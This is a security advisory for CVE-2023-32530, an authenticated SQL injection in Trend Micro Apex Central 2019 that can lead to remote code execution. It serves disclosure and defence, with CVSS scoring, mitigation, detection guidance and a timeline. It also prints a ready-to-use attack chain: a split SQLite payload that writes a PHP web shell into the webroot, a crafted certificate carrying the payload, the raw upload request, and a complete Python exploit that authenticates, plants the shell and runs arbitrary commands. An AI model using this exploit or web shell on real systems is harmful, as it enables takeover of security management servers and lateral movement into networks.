Summary:

Product Trend Micro Apex Central 2019
Vendor Trend Micro
Severity High
Affected Versions Apex Central 2019 Build <= 6016
Tested Version(s) Apex Central 2019 Build 6016
CVE Identifier CVE-2023-32530
CVE Description Missing input validation in Apex Central 2019 Build 6016 and below uses user-supplied certificate values to construct a part of a SQL query that is executed in the AddCert() function. This results in an SQL injection vulnerability whereby an attacker can leverage to execute system commands in the context of the IUSR user.
CWE Classification(s) CWE-89: Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)
CAPEC Classification(s) CAPEC-66: SQL Injection

CVSS3.1 Scoring System:

Base Score: 8.8 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Metric Value
Attack Vector (AV) Network
Attack Complexity (AC) Low
Privileges Required (PR) Low
User Interaction (UI) None
Scope (S) Unchanged
Confidentiality (C) High
Integrity (I) High
Availability (A) High

Product Overview:

Trend Micro Apex Central™ is a web-based console that provides centralized management for Trend Micro products and services at the gateway, mail server, file server, and corporate desktop levels. Administrators can use the policy management feature to configure and deploy product settings to managed products and endpoints. The Apex Central web-based management console provides a single monitoring point for antivirus and content security products and services throughout the network.

Apex Central enables system administrators to monitor and report on activities such as infections, security violations, or virus/malware entry points. System administrators can download and deploy components, such as antivirus pattern files, scan engines, and antispam rules, throughout the network to ensure up-to-date protection. Apex Central allows both manual and pre-scheduled updates, and allows the configuration and administration of products as groups or as individuals for added flexibility. An authenticated attacker can use the vulnerability to execute arbitrary code on the target Trend Micro Apex Central instance. As the attack is targeted against the Trend Micro Apex Central instance, the attacker can gain access to other resources via lateral movements.

Vulnerability Summary:

It was discovered that at the modTMMS module endpoint, a SQL injection vulnerability exists. This allows an authenticated user of any role to perform SQL injection which can lead to Remote Code Execution on the server, even with the lowest-privilege role available.

Vulnerability Details:

The vulnerability sink is found in /Control Manager/WebUI/WebApp/widget/repository/widgetPool/wp1/proxy/modTMMS/db_helper.php within the AddCert() function:

// Control Manager/WebUI/WebApp/widget/repository/widgetPool/wp1/proxy/modTMMS/db_helper.php

public function AddCert($cert)
{
    mydebug_log("[DBHelper][AddCertificate] In.");		
    $sql = "INSERT INTO tb_certificate (Name,FileData,HasPrivateKey,Password,UploadTime,Issuer,Topic,ExpireDate,Uploader) VALUES('".$cert['Name']."','".$cert['FileData']."',".$cert['HasPrivateKey'].",'".$cert['Password']."',".$cert['UploadTime'].",'".$cert['Issuer']."','".$cert['Topic']."',".$cert['ExpireDate'].",'".$cert['Uploader']."')";
    //mydebug_log("[DBHelper][AddCertificate] ->sql is:".$sql);
    return $this->dbh->exec($sql);
}

This function performs an INSERT operation into the database and the values to be inserted are obtained from the $cert PHP variable, which contains data from parsing the uploaded certificate. The database engine in use was revealed to be SQLite, based on its connection string:

try {
    $connectString = realpath(dirname(__FILE__).$this->db_file);
    $this->dbh = new PDO('sqlite:'.$connectString);
} catch(PDOException $e) {
    $this->message = "Failed to create db connection.";
    myerror_log("[DBHelper][__construct] ->".$this->message);
}

As the database used is SQLite, it is possible to perform an arbitrary file write to the webroot, which results in obtaining remote code execution on the server when writing a PHP file.

The vulnerable AddCert() function is invoked through UploadX509Cert(), which is found at /Control Manager/WebUI/WebApp/widget/repository/widgetPool/wp1/proxy/modTMMS/cert_helper.php:

// Control Manager/WebUI/WebApp/widget/repository/widgetPool/wp1/proxy/modTMMS/cert_helper.php

function UploadX509Cert($file)
{
	mydebug_log("[UploadX509Cert] In.");
	$fd = fopen($file, 'r');
	$x509buf = fread($fd, filesize($file)); // [1] 
	fclose($fd);
	
	if(false == openssl_x509_read($x509buf)){
		mydebug_log("UploadX509Cert] Invalid certificate.");
		return -1;
	}
	
	$certObj = openssl_x509_parse($x509buf); // [2]			
	
	$dbCert = array( // [3]
			"Name" => $certObj["subject"]["CN"], // [4]
			"Issuer" => $certObj["issuer"]["CN"]."", // [5]
			"Topic" => $certObj["subject"]["UID"]."",
			"ExpireDate" => $certObj["validTo_time_t"],
			"HasPrivateKey" => 0,
			"FileData" => base64_encode($x509buf),
			"UploadTime" => time(),
			"Password" => "",
			"Uploader" => "root"
			); 
	//mydebug_log("[UploadX509Cert] -> dbCert:".json_encode($dbCert));
	$db_helper = new DBHelper();
    //...
    if($db_helper->AddCert($dbCert)==0){ // [6]

At [1], the uploaded file is stored into the PHP variable $x509buf. At [2], the uploaded file is parsed using PHP’s openssl_x509_read() function and the parsed result is stored in the $certObj PHP variable. Then at [3], another PHP array variable $dbCert is defined and populated with values from $certObj. Notice that at [4] and [5], arbitrary values can be specified since the certificate is uploaded by the user, as long as the certificate is correctly formatted. However, both fields must be kept to a 64-character limit according to RFC5280. Finally at [6], $dbCert is passed as an argument to the function AddCert().

Since the payload has to be split into 2 chunks, the payload can be split like so:

',1,1,1,1,1,1,1,1);ATTACH DATABASE'REPOSI~1\a.php'AS a;CREATE/*     63 characters

*/TABLE a.b(c text);INSERT INTO a.b VALUES("<?=`$_GET[c]`?>");      62 characters

The comment characters are used to comment out the original query between the 2 injection points (previously labelled as [1] and [2]). A certificate with the above payload can be created and uploaded in order to exploit this vulnerability:

A POST request is sent to upload this certificate to the endpoint at modTMMS’s proxy file by specifying the module parameter to be “modTMMS” and tmms_cmd to be “set_certificates_config”, and it will eventually invoke the vulnerable AddCert() function:

POST /webapp/widget/proxy_controller.php HTTP/2
Host: 192.168.126.135
Cookie: ASP_NET_SessionId=w5lfgggmkrrjgdbfa2xauhi3; PHPSESSID=4ms8veqpa7i8a46dmivpjeaih7;
Content-Length: 2262
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1XCRqr385Tn6U20U

------WebKitFormBoundary1XCRqr385Tn6U20U
Content-Disposition: form-data; name="module"

modTMMS
------WebKitFormBoundary1XCRqr385Tn6U20U
Content-Disposition: form-data; name="tmms_cmd"

set_certificates_config
------WebKitFormBoundary1XCRqr385Tn6U20U
Content-Disposition: form-data; name="cert_file_name"; filename="test"
Content-Type: text/plain

-----BEGIN CERTIFICATE-----
MIIFGjCCAwICFFF8O58DRgJ3YzjGBLSm+3mXyjT5MA0GCSqGSIb3DQEBCwUAMEkx
RzBFBgNVBAMMPiovVEFCTEUgYS5iKGMgdGV4dCk7SU5TRVJUIElOVE8gYS5iIFZB
TFVFUygiPD89YCRfR0VUW2NdYD8+Iik7MB4XDTIyMDYwODA1NDUwMloXDTIzMDYw
ODA1NDUwMlowSjFIMEYGA1UEAww/JywxLDEsMSwxLDEsMSwxLDEpO0FUVEFDSCBE
QVRBQkFTRSdSRVBPU0l+MS9hLnBocCdBUyBhO0NSRUFURS8qMIICIjANBgkqhkiG
9w0BAQEFAAOCAg8AMIICCgKCAgEA/U1FjBQAl02XGISOCFo6GoGQA8JEwCMrDvsC
cwZZ6RMJL3Q81FhxA5XkmjZs8ml76P56oL1Cw7bWge4OapZ1L+bj89iG9cE3EMYR
PoDzjvqpRdNKAU5NRrHXLbzzE1FXek3FxGsEja+EN9OmXNMNCglx66FV2SMqvt/z
jpB2ijz/fO8JZAdKt3eIgtEpyX9l0XM2CiDpUsu1Tij47bp29sWYlqMwFaQ7laA+
MPrIOK7wyenmoyWGVYRAgDRFbfQc5lZ5OHDLMeJCVVaON1YCePpOzOidE7EckFrG
MSF3XkATEX3pPufQr84E+Lwn/HZD4+/MFhZgkZof6BTCLGfiucnpd6vcp+Uf/Jv+
YATpe+mpfhsOvYAyVO0l/20oLXagtTiidHC1jrBxOqagXnuikawc03/euJrRl/xI
6F7dy0np6r1l3oo/mC66buAUygT7TOBkT+RMaEVGMOwYIIh/uiWS6u10jU+WjRok
PVfcV3Yt/50KCqRVTsz4pZxZ0XKWoXUnxocBa70YgcP9JLeLiaLLE5oFb9aQmmfn
w44LXuvb5NeoOIy6RJlX7M1L7lG3+u4VfWu1jc1vFSktdmmpY0LuKYpcmN9jLrLl
IFbRBYKPD71gxwnuXIGblOyQS9Fiz3W8sJMkeoWg6tHrJ2mGqHEtxmhmYo9mKy2O
Ueg+PccCAwEAATANBgkqhkiG9w0BAQsFAAOCAgEACQvQiJThQzCAOfhJQLa5jcSt
gz3YwyyuAZvuaqPa7tNFmh4PQYh0M+xcv953yKkVsAtqa9kp4vpEedvUkrmHXGuw
izj+5BmGfuZ+tKp5WncGqaHicyow32ZIuuc3Tysq8Bhk8BQXzRN2AZl3PIdpjs/K
IcVCIbIkLiTUQ6UnPAKVZ7VLSi8RezAHd/W8FzauL4WzvYbzg5QXMSX8fRbGLpaZ
g9FHglFfgrjW4bRljlnlX0li1J8owRaKAltyYX/8t0rgY8dnwdBuJaUx7ucm2mWn
AxnREnNFl8uFBOGFjhNd+JMNJpxarCE0fKMWMiN1AUDNECG+0I1GJKy7zVmScGVr
nkt6WNvEVrOreg0zXvLOgq6s0aUinZWV82KQ9PFjDxKsQOtq56r1Bcxa9mFmhXmB
hn9etSW2fkCa8Egpf1g5nCjk8F2UIonBJ47RESAlasBFxoEXgSkbEiIUdabOmyak
+O8hEdWEjF4sa4WA36iMXZRshKkAc7d41HhdCZf1vtdAvdMSbzCTwhcSCb3YD5kF
C2Xig4atRc6+gnbMuFnZfGyvWcKSxP0cIdRjFXvAAeyxWHKR+/XCDA40xju6kFVz
FBq7yzgETiuGOItSVtPzTw/C/4iGQjLvBBZi+D+Zi+Lx2DJCQ8vFwvb86oqsxo3R
ewo6zV74qcWDJ2rT63o=
-----END CERTIFICATE-----
------WebKitFormBoundary1XCRqr385Tn6U20U--

A PHP file at C:\Program Files (x86)\Trend Micro\Control Manager\WebUI\WebApp\widget\repository\a.php would have been created successfully and the remote code execution can be achieved by sending a GET request to that page (actual web path /Webapp/widget/repository/a.php) and setting the GET parameter c to any system command:

Exploit Conditions:

This vulnerability can be exploited by having access to a low-privilege user account.

Proof-of-Concept:

We have tried our best to make the PoC as portable as possible. The following is a functional exploit written in Python3 that exploits this vulnerability to achieve remote command execution:

# Trend Micro Apex Central 2019 (<= Build 6016) Authenticated RCE (CVE-2023-32530)
# Vector used: AddCert()
# Author: Poh Jia Hao (STAR Labs SG Pte. Ltd.)

#!/usr/bin/env python3
import base64
import hashlib
import hmac
import re
import requests
import sys
import urllib.parse
from Crypto.Cipher import PKCS1_v1_5
from Crypto.PublicKey import RSA
requests.packages.urllib3.disable_warnings()

s = requests.Session()

def check_args():
    global target, username, password, cmd

    print("\n===== Trend Micro Apex Central 2019 (<= Build 6016) Authenticated RCE (CVE-2023-32530) =====\n")

    if len(sys.argv) != 5:
        print("[!] Please enter the required arguments like so: python3 {} https://TARGET_URL USERNAME PASSWORD CMD_TO_EXECUTE".format(sys.argv[0]))
        sys.exit(1)

    target = sys.argv[1].strip("/")
    username = sys.argv[2]
    password = sys.argv[3]
    cmd = urllib.parse.quote(sys.argv[4])

def authenticate():
    global s

    print("[+] Attempting to authenticate...")

    # MD5 hash the password, store as tempPassword
    temp_password = hashlib.md5(password.encode()).hexdigest().encode()

    # GET the challenge number from GET /webapp/Login.aspx?Query=GetChallengeNumber
    res = s.get("{}/webapp/Login.aspx?Query=GetChallengeNumber".format(target), verify=False)
    chall_num = re.match("ChallengeNumber=(.+)\n", res.text).group(1).strip().encode()

    # HMAC-MD5 the tempPassword using the challenge number as the key, store as the new tempPassword
    temp_password = hmac.new(chall_num, temp_password, hashlib.md5).hexdigest().strip().encode()

    # GET RSA key at /ControlManager/download/SSO_PKI_PublicKey.pem
    res = s.get("{}/ControlManager/download/SSO_PKI_PublicKey.pem".format(target), verify=False)
    rsa_key = res.text.strip().encode()

    # Encrypt the tempPassword with the RSA public key, PKCS1_v1_5 is mandatory and PKCS1_OAEP does not work due to JSEncrypt
    cipher = PKCS1_v1_5.new(RSA.import_key(rsa_key))
    ciphertext = cipher.encrypt(temp_password)
    encrypted_password = base64.b64encode(ciphertext)

    # Login
    data = {
        "Query": "Logon",
        "UserName": username,
        "PassWord": encrypted_password,
        "InstID": "",
        "Format": "",
        "Location": ""
    }
    res = s.post("{}/webapp/Login.aspx".format(target), data=data, verify=False)

    if ".ASPXAUTH" not in res.cookies:
        print("[!] Failed to authenticate. Are the credentials correct?")
        sys.exit(1)

    # Get PHPSESSID Cookie
    s.post("{}/webapp/widget/index.php".format(target), verify=False)
    print("[+] Authenticated successfully!")

def upload_web_shell():
    global s

    print("[+] Attempting to upload web shell...")

    data = {
        "module": "modTMMS",
        "tmms_cmd": "set_certificates_config"
    }

    files = {
        "cert_file_name": """-----BEGIN CERTIFICATE-----
MIIFGjCCAwICFFF8O58DRgJ3YzjGBLSm+3mXyjT5MA0GCSqGSIb3DQEBCwUAMEkx
RzBFBgNVBAMMPiovVEFCTEUgYS5iKGMgdGV4dCk7SU5TRVJUIElOVE8gYS5iIFZB
TFVFUygiPD89YCRfR0VUW2NdYD8+Iik7MB4XDTIyMDYwODA1NDUwMloXDTIzMDYw
ODA1NDUwMlowSjFIMEYGA1UEAww/JywxLDEsMSwxLDEsMSwxLDEpO0FUVEFDSCBE
QVRBQkFTRSdSRVBPU0l+MS9hLnBocCdBUyBhO0NSRUFURS8qMIICIjANBgkqhkiG
9w0BAQEFAAOCAg8AMIICCgKCAgEA/U1FjBQAl02XGISOCFo6GoGQA8JEwCMrDvsC
cwZZ6RMJL3Q81FhxA5XkmjZs8ml76P56oL1Cw7bWge4OapZ1L+bj89iG9cE3EMYR
PoDzjvqpRdNKAU5NRrHXLbzzE1FXek3FxGsEja+EN9OmXNMNCglx66FV2SMqvt/z
jpB2ijz/fO8JZAdKt3eIgtEpyX9l0XM2CiDpUsu1Tij47bp29sWYlqMwFaQ7laA+
MPrIOK7wyenmoyWGVYRAgDRFbfQc5lZ5OHDLMeJCVVaON1YCePpOzOidE7EckFrG
MSF3XkATEX3pPufQr84E+Lwn/HZD4+/MFhZgkZof6BTCLGfiucnpd6vcp+Uf/Jv+
YATpe+mpfhsOvYAyVO0l/20oLXagtTiidHC1jrBxOqagXnuikawc03/euJrRl/xI
6F7dy0np6r1l3oo/mC66buAUygT7TOBkT+RMaEVGMOwYIIh/uiWS6u10jU+WjRok
PVfcV3Yt/50KCqRVTsz4pZxZ0XKWoXUnxocBa70YgcP9JLeLiaLLE5oFb9aQmmfn
w44LXuvb5NeoOIy6RJlX7M1L7lG3+u4VfWu1jc1vFSktdmmpY0LuKYpcmN9jLrLl
IFbRBYKPD71gxwnuXIGblOyQS9Fiz3W8sJMkeoWg6tHrJ2mGqHEtxmhmYo9mKy2O
Ueg+PccCAwEAATANBgkqhkiG9w0BAQsFAAOCAgEACQvQiJThQzCAOfhJQLa5jcSt
gz3YwyyuAZvuaqPa7tNFmh4PQYh0M+xcv953yKkVsAtqa9kp4vpEedvUkrmHXGuw
izj+5BmGfuZ+tKp5WncGqaHicyow32ZIuuc3Tysq8Bhk8BQXzRN2AZl3PIdpjs/K
IcVCIbIkLiTUQ6UnPAKVZ7VLSi8RezAHd/W8FzauL4WzvYbzg5QXMSX8fRbGLpaZ
g9FHglFfgrjW4bRljlnlX0li1J8owRaKAltyYX/8t0rgY8dnwdBuJaUx7ucm2mWn
AxnREnNFl8uFBOGFjhNd+JMNJpxarCE0fKMWMiN1AUDNECG+0I1GJKy7zVmScGVr
nkt6WNvEVrOreg0zXvLOgq6s0aUinZWV82KQ9PFjDxKsQOtq56r1Bcxa9mFmhXmB
hn9etSW2fkCa8Egpf1g5nCjk8F2UIonBJ47RESAlasBFxoEXgSkbEiIUdabOmyak
+O8hEdWEjF4sa4WA36iMXZRshKkAc7d41HhdCZf1vtdAvdMSbzCTwhcSCb3YD5kF
C2Xig4atRc6+gnbMuFnZfGyvWcKSxP0cIdRjFXvAAeyxWHKR+/XCDA40xju6kFVz
FBq7yzgETiuGOItSVtPzTw/C/4iGQjLvBBZi+D+Zi+Lx2DJCQ8vFwvb86oqsxo3R
ewo6zV74qcWDJ2rT63o=
-----END CERTIFICATE-----"""
    }

    s.post("{}/webapp/widget/proxy_controller.php".format(target), data=data, files=files, verify=False)

def check_shell_and_rce():
    print("[+] Attempting to interact with web shell...")
    res = s.get("{}/webapp/widget/repository/a.php?c={}".format(target, cmd))

    if res.status_code != 200:
        print("[!] Failed to find the web shell! Is the system patched?")
        sys.exit(1)

    output = res.text.encode().split(b"\x11\x01\x02+")[1].decode()
    print("[+] Web shell is successfully uploaded at: {}/web/widget/repository/a.php?c={}".format(target, cmd))
    print("[+] Output of command:\n\n{}".format(output))

def main():
    check_args()
    authenticate()
    upload_web_shell()
    check_shell_and_rce()

if __name__ == "__main__":
    main()

Suggested Mitigations:

Update the Apex Central installation to the latest version as shown in Trend Micro’s Download Center.

Detection Guidance:

Seeing that the number of characters are limited for the name of the webshell, it is possible to detect the exploitation of this vulnerability by checking for the presence of suspicious PHP files in the C:\Program Files (x86)\Trend Micro\Control Manager\WebUI\WebApp\widget\repository directory.

Credits:

Poh Jia Hao (@Chocologicall) of STAR Labs SG Pte. Ltd. (@starlabs_sg)

Timeline:

  • 2022-06-13 Reported Vulnerability to Vendor via ZDI
  • 2022-07-26 Triaged and Reported by ZDI
  • 2022-12-19 Patch Released by Vendor
  • 2023-08-22 Public Release